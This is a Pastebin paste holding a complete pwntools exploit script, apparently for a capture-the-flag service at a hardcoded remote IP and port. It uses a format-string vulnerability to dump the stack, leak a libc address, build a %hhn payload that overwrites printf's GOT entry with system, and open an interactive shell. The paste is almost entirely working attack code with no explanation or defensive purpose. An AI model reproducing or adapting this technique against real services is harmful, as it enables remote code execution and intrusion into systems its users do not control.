Advertisement
Guest User

Untitled

a guest
Mar 24th, 2017
68
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.37 KB | None | 0 0
  1. ```from pwn import *
  2.  
  3. host = '78.46.224.86'
  4. port = 1337
  5.  
  6. context.os = 'linux'
  7. context.arch = 'amd64'
  8.  
  9. p = remote(host, port)
  10.  
  11. def dump_stack(at=None, n=2048):
  12. pl = ""
  13. if at:
  14. for i in range(n // 8):
  15. pl += "%{}$p.".format(at + i)
  16. else:
  17. pl = ".%p" * (n // 8)
  18. pl += "END"
  19. p.sendline(pl)
  20. x = p.readuntil("END")[:-3].strip().strip(".")
  21. stack_leak = x.split(".")[1:]
  22. stack_leak = map(lambda y: 0 if "nil" in y else int(y, 16), stack_leak)
  23. return stack_leak
  24.  
  25. def fmtleaker(addr):
  26. log.debug("leaking addr 0x{:x}".format(addr))
  27. vp = None
  28. for i in range(3):
  29. try:
  30. #vp = remote(host, port)
  31. pl = "AAAA%8$s.ENDBBBB"
  32. pl += p64(addr)
  33. if "\n" in pl:
  34. log.warning("newline in payload!")
  35. return None
  36. p.sendline(pl)
  37. x = p.recv(1024)
  38. if x:
  39. f = x.find("AAAA") + 4
  40. l = x.find(".ENDBBBB")
  41. res = x[f:l]
  42. if res == "":
  43. return "\x00"
  44. else:
  45. return res
  46.  
  47. return None
  48. except KeyboardInterrupt:
  49. raise
  50. except EOFError:
  51. log.debug("got EOF for leaking addr 0x{:x}".format(addr))
  52. pass
  53. except Exception:
  54. log.warning("got exception...", exc_info=sys.exc_info())
  55. finally:
  56. if vp:
  57. vp.close()
  58. return None
  59.  
  60. def print_got():
  61. for off in range(3):
  62. leaked = ''
  63. while len(leaked) < 8:
  64. addr = bin_got_addr + len(leaked)
  65. x = fmtleaker(addr+off*8)
  66. if x:
  67. leaked += x
  68. else:
  69. leaked += "\xff"
  70. #log.info(hexdump(leaked))
  71. print hex(bin_got_addr+off*8) + ": " + hex(u64(leaked[:8]))
  72.  
  73.  
  74. bin_addr = 0x400000
  75. bin_got_addr = bin_addr + 0x201000
  76. printf_got = bin_got_addr + 0x18
  77.  
  78. offset___libc_start_main_ret = 0x203f1
  79. offset_system = 0x00000000000456d0
  80. offset_dup2 = 0x00000000000f8380
  81. offset_read = 0x00000000000f7c60
  82. offset_write = 0x00000000000f7cc0
  83. offset_str_bin_sh = 0x189fc0
  84. offset_puts = 0x0000000000070960
  85.  
  86. libc_index = 37
  87.  
  88. stack = dump_stack(libc_index, 16)
  89. libc_stack = stack[0]
  90.  
  91. libc_address = libc_stack - offset___libc_start_main_ret
  92. libc_bin_sh = libc_address + offset_str_bin_sh
  93. libc_system = libc_address + offset_system
  94. libc_puts = libc_address + offset_puts
  95.  
  96. log.info("libc_address: " + hex(libc_address))
  97. log.info("libc_bin_sh: {}({})".format(hex(libc_bin_sh), fmtleaker(libc_bin_sh)))
  98. log.info("libc_system: " + hex(libc_system))
  99. log.info("bin_got_addr: " + hex(bin_got_addr))
  100. log.info("printf_got: " + hex(printf_got))
  101.  
  102.  
  103. log.info("got befor:")
  104. print_got()
  105.  
  106.  
  107. buffer_start = 6
  108.  
  109. class PayloadGenerator:
  110. def __init__(self, index=0):
  111. self.mem = []
  112. self.index = index
  113.  
  114. def write(self, where, what):
  115. for i in xrange(5):
  116. self.mem.append((where + i, (int(what) >> (i * 8)) & 0xFF))
  117.  
  118. def payload_len(self):
  119. mem = self.mem
  120. payload = ''
  121. mem.sort(key=operator.itemgetter(1))
  122. printed = 0
  123. index = 10 #dummy value
  124.  
  125. for addr, value in mem:
  126. if value != printed:
  127. if value - printed > 8:
  128. payload += "%." + str(value - printed) + "x"
  129. else:
  130. payload += "A" * (value - printed)
  131. printed = value
  132.  
  133. payload += "%" + str(index + self.index) + "$hhn"
  134. index += 1
  135.  
  136. payload += "A" * (8 - (len(payload) % 8))
  137.  
  138. return len(payload)
  139.  
  140. def gen(self):
  141. mem = self.mem
  142. payload = ''
  143. mem.sort(key=operator.itemgetter(1))
  144. printed = 0
  145. index = self.payload_len() / 8
  146.  
  147. for addr, value in mem:
  148. if value != printed:
  149. if value - printed > 8:
  150. payload += "%." + str(value - printed) + "x"
  151. else:
  152. payload += "A" * (value - printed)
  153. printed = value
  154.  
  155. payload += "%" + str(index + self.index) + "$hhn"
  156. index += 1
  157.  
  158. payload += "A" * (8 - (len(payload) % 8))
  159.  
  160. for addr, value in mem:
  161. payload += p64(addr)
  162.  
  163. return payload
  164.  
  165. gen = PayloadGenerator(buffer_start)
  166. gen.write(printf_got, libc_system)
  167. payload = gen.gen()
  168.  
  169. print hexdump(payload, width=8)
  170. p.sendline(payload)
  171. print p.recv(1024)
  172.  
  173. p.interactive()
  174.  
  175. log.info("got after: ")
  176. print_got()```
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement